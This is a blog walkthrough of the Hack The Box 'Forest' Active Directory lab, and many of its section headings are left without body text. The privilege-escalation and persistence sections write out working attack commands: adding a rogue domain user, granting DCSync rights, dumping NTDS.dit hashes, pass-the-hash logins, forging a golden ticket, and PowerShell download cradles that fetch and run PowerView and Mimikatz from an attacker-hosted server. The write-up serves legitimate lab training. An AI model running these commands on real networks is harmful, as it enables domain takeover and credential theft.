Forest HTB Walkthrough

Nov 15, 2024    #box   #htb   #easy   #windows   #ldap   #active-directory   #dacl   #genericwrite   #genericall   #kerberos   #asreproasting   #mimikatz   #download-cradle  

Forest Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

1. Enumeration:

NMAP:

Basic Scans:

Comprehensive Scans:

SMB 445:

Attempting to connect with NULL & Guest sessions:

Trying Usernames as Passwords:

DNS 53:

LDAP 389:

Using LDAP anonymous bind to enumerate further:

  1. We have the naming context of the domain: 
    kali in HTB/BlogEntriesMade/Forest/scans/ldap  🍣 main 📝 ×143🗃️  ×3🛤️  ×113 1GiB/7GiB | 0B/1GiB with /usr/bin/zsh
🕙 08:32:01 zsh ❯ python3 /home/kali/windowsTools/enumeration/ldapire/ldapire.py $box

------------------------------------------------------------
 Server Information
------------------------------------------------------------
  • IP Address  : 10.129.95.210
  • Domain Name : htb.local
  • Server Name : FOREST
  • Forest Level: 7
  • Domain Level: 7

It will also check for any service accounts and write them to a file:

-----------------------------------------------------------
 Searching for Service Accounts
------------------------------------------------------------
  🔍 Searching Users.txt
  - No matches in Users.txt
  🔍 Searching UsersDetailed.txt
  ✓ Found matches in UsersDetailed.txt
  🔍 Searching Groups.txt
  ✓ Found matches in Groups.txt
  🔍 Searching GroupsDetailed.txt
  ✓ Found matches in GroupsDetailed.txt
  🔍 Searching Objects.txt
  ✓ Found matches in Objects.txt
  🔍 Searching ObjectsDetailedLdap.txt
  ✓ Found matches in ObjectsDetailedLdap.txt
  🔍 Searching AllObjectDescriptions.txt
  ✓ Found matches in AllObjectDescriptions.txt

  ✓ Service account findings written to ServiceAccounts.txt
  ✓ Found 646 potential matches

Updating ETC/HOSTS & Variables:

Syncing Clocks for Kerberos Exploitation:

Searching the descriptions file for any passwords:

Checking the users file:

Finding a service account svc-alfresco in our LDAP Results:

Manually Finding the svc-alfresco service account:

Service Accounts in AD:

Common Practices for Service Account OUs:
Benefits of Using a Dedicated Service Account OU:

Kerberos 88:

AS-REP Roasting svc-alfresco to retrieve their hash with impacket-GetNPUsers:

What is svc-alfresco account for:

AS-REP Roasting Primer:

2. Foothold:

Cracking svc-alfresco’s hash with hashcat:

Performing a bloodhound collection as svc-alfresco:

Discovering we are part of the Privileged IT Accounts Group :

Performing A Targeted Kerberoasting Attack On Sebastien:

Modifying “Sebastien’s” Password To Login As Him:

Modifying “Sebastien’s” Group Memberships To Enable Us To Login:

So we can login as “Sebastien” we will need to add him to the local group “Remote Management Users”

3. Privilege Escalation:

Finding Another Privilege Escalation Path In Bloodhound:

Intended Path To Root Adding A User & Granting Them DCSync Privileges:

As we have GenericWrite over the group “EXCHANGE WINDOWS PERMISSIONS” we can add any users to the group & then in turn grant them DCSync privileges:

  1. Add a user to the groups from svc-alfresco shell via evil-winrm:

    • net user bloodstiller bl00dst1ll3r! /add /domain

  2. Add to the user to the group “Exchane Windows Permissions”:

    • net group "Exchange Windows Permissions" bloodstiller /add

  3. Give the user remote management access by adding them to the group “Remote Management Users”:

    • net localgroup "Remote Management Users" bloodstiller /add
    • This part is not necessary, however I want to use mimikatz so want remove access.

  4. To modify the ACL of the user we have created, we need to use PowerView:

    • To do this I will use a download cradle to load directly into memory for more information on download cradles see my +deep-dive+: https://bloodstiller.com/articles/understandingdownloadcradles/
    • Stand up python server:
      • python -m http.server 9000
    • Load into memory:
      • iex(new-object net.webclient).downloadstring('http://10.10.14.99:9000/PowerView.ps1')

  5. As we are still logged in as svc-alfresco, we need to use a Credentialed Object to grant our user DCSync Privileges:

$SecPassword = ConvertTo-SecureString 'bl00dst1ll3r!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb\bloodstiller', $SecPassword)

  1. Grant ours user DCSync privileges with PowerView:

    • Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity bloodstiller -Rights DCSync

  2. We can now use secrets-dump to dump the NTDS.dit.

    • impacket-secretsdump $domain/$user:$pass@$box

  3. We can now login as the administrator using their hash and get the flag:

    • evil-winrm -i $box -u $user -H $hash

Granting svc-alfresco DCSync Rights (unintended path to root):

+Note+: I have since tried to recreate this attack path with chaining the commands quickly and it will not work for me, maybe I got lucky on first try.

  1. Make “svc-alfresco” the new owner of Exchange Windows Permissions group:

    • impacket-owneredit -action write -new-owner $user -target-sid 'S-1-5-21-3072663084-364016917-1341370565-1121' $domain/$user:$pass
      • +Note+: I extract the SID for this group from bloodhound, or we can use impacket-lookupsid

  2. Grant “svc-alfresco” the ability to add users to the group by modifying the DACL’s:

    • impacket-dacledit -action 'write' -rights 'WriteMembers' -principal $user -target-sid 'S-1-5-21-3072663084-364016917-1341370565-1121' $domain/$user:$pass

  3. Add “svc-alfresco” to the group:

    • net rpc group addmem "EXCHANGE WINDOWS PERMISSIONS" $user -U $domain/$user%$pass -S $box
    • +Note+: There will be no output from this command, we need to instead verify it worked in the next command.

  4. Verify “svc-alfresco” is now part of the group*:

    • net rpc group members "EXCHANGE WINDOWS PERMISSIONS" -U $domain/$user%$pass -S $box

  5. Grant “svc-alfresco” DCSync privileges:

    • impacket-dacledit -action 'write' -rights 'DCSync' -principal $user -target-dn 'DC=HTB,DC=LOCAL' $domain/$user:$pass
    • It does not work due to insufficient rights, which I know to be incorrect as we have granted them.

  6. I check our group membership & can see we have been removed from the group “Exchange Windows Permissions”:

    • net rpc group members "EXCHANGE WINDOWS PERMISSIONS" -U $domain/$user%$pass -S $box
    • I suspect this will be due to a scheduled task that will run and ensure that the only user in the group is “Exchange Trusted Subsystem”. Luckily we have seen ourselves in the group so in theory all we have to do is re-add ourselves, grant ourselves DCSync privileges and then perform a DCSync attack in quick succession.

  7. We will run the below 2 commands, in quick succession to perform the final part of the attack:

    • net rpc group addmem "EXCHANGE WINDOWS PERMISSIONS" $user -U $domain/$user%$pass -S $box
    • impacket-dacledit -action 'write' -rights 'DCSync' -principal $user -target-dn 'DC=HTB,DC=LOCAL' $domain/$user:$pass

  8. We can then quickly dump the NDST.dit database by using impacket-secrets dump:

    • impacket-secretsdump $domain/$user:$pass@$machine.$domain

4. Persistence:

Creating a Kerberos Golden Ticket:

We already have the KRBTGT hash via secretsdump however I wanted to show an alternate option with using invoke-mimikatz in a download cradle for a targeted extraction of just the KRBTGT aes hash.

  1. Login as the user we have added:

    • evil-winrm -i $box -u $user -p $newPass
    • We can login as our new user or with admin, as long as we have administrator rights.

  2. Load mimikatz into memory via download cradle:

    • iex(new-object net.webclient).downloadstring('http://10.10.14.99:9000/Invoke-Mimikatz.ps1')

  3. Perform a targeted DCSync attack to extract the KRBTGT hash.

    • Invoke-Mimikatz -Command '"privilege::debug" "lsadump::dcsync /user:krbtgt /domain:htb.local"'
    • It spits out errors but we still manage to get the hashes.

  4. Sync our host clock to the host using ntpdate:

    • sudo ntpdate -s $domain

  5. Using impacket-ticketer to create the Golden Ticket:

    • impacket-ticketer -aesKey $krbtgt -domain-sid $sid -domain $domain Administrator

  6. Export the ticket to the KRB5CCNAME Variable:

    • export KRB5CCNAME=./Administrator.ccache

  7. Use the ticket for connecting via psexec

    • impacket-psexec -k -no-pass $machine.$domain

Why create a golden ticket?

Lessons Learned:

What did I learn?

  1. I learned that even though I got a random bypass for a secondary route to root that I cannot recreate it no matter how hard I try (1 full day)
  2. I decided to actually put all of my ASREP-Roasting knowledge in an article so that hopefully cemeneted that further:

What silly mistakes did I make?

  1. Had some real slow moments when I had multiple evil-winrm sessions open and was wondering why mimikatz would not work, because I was running it from a user without DCSync privs…..

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at proton dot me


Next: Driver HTB Walkthrough